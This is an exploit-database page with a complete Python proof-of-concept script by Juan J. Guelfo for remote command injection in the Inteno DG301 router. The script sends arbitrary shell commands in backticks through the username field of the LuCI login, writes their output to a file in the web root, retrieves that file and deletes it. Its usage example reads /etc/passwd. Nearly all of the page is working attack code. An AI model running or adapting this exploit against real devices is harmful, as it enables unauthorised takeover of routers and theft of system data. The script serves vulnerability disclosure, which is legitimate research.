Inteno DG301 Remote Command Execution



EKU-ID: 3803 CVE: OSVDB-ID:
Author: Juan J. Guelfo Published: 2014-02-10 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/python

################################################################
#                                                              #
# Inteno DG301 Command Injection PoC                           #
#                                                              #
# Vulnerable version: Powered by LuCI Trunk (inteno-1.0.34)    #
#                     OpenWrt Backfire 10.03.1-RC6             #
#                                                              #
# Written by Juan J. Guelfo @ Encripto AS                      #
# post@encripto.no                                             #
#                                                              #
# Copyright 2014 Encripto AS. All rights reserved.             #
#                                                              #
# This software is licensed under the FreeBSD license.         #
# http://www.encripto.no/tools/license.php                     #
#                                                              #
################################################################

import sys, getopt, urllib, urllib2


__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"


# Prints title and other header info
def header():
 print ""
 print " ================================================================= "
 print "|  Inteno DG301 v1.0.34 Command Injection PoC \t\t\t  |".format(__version__)
 print "|  by {0}\t\t  |".format(__author__)
 print " ================================================================= "
 print ""
   
# Prints help   
def help():
 header()
 print """   Usage: python Inteno-DG301-PoC.py [mandatory options]

   Mandatory options:
       -t target               ...Target IP address
       -p port                 ...Port where the HTTP admin interface is listening on
       -c cmd                  ...Command to inject
       
   Example:
       python Inteno-DG301-PoC.py -t 192.168.1.1 -p 80 -c "cat /etc/passwd"
    """
 sys.exit(0)
   
   
   
if __name__ == '__main__':
   
 #Parse options
 try:
  options, args = getopt.getopt(sys.argv[1:], "t:p:c:", ["target=", "port=", "cmd="])

 except getopt.GetoptError, err:
  header()
  print "\n[-] Error: {0}.\n".format(str(err))
  sys.exit(1)

 if not options:
  help()

 target = None
 port = None
 cmd = None
 reset = None
 for opt, arg in options:
  if opt in ("-t"):
   target = arg
  
  if opt in ("-p"):
   port = arg   
   
  if opt in ("-c"):
   cmd = arg 
   
 #Option input validation
 if not target or not port or not cmd:
  help()
  print "[-] Error: Incorrect syntax.\n"
  sys.exit(1)

 header()
 print "[*] Trying to connect to {0}:{1}...".format(target, port)
 headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)"}

 try:
  # Inject command
  print "[*] Sending command: {0}".format(cmd)
  data = "username=user`"+ urllib.quote(cmd) + "%20>%20/www/poc.txt`&password=pass"
  r = urllib2.Request("http://%s:%s/cgi-bin/luci" % (target, port), data, headers)
  results = urllib2.urlopen(r).read()
  
  # Retrieve results
  r = urllib2.Request("http://%s:%s/poc.txt" % (target, port), None, headers)
  results = urllib2.urlopen(r).read()
  
  # Show results
  print "[+] Retrieving results...\n"
  print results
  
  # Clean output file
  data = "username=user`rm%20/www/poc.txt`&password=pass"
  r = urllib2.Request("http://%s:%s/cgi-bin/luci" % (target, port), data, headers)
  results = urllib2.urlopen(r).read()
  
  print "[*] Cleaning up...\n"

 except urllib2.URLError:
  print "[-] Error: The connection could not be established.\n"
  
 except IOError as e:
  print "[-] Error: {0}...\n".format(e.strerror)

 sys.exit(0)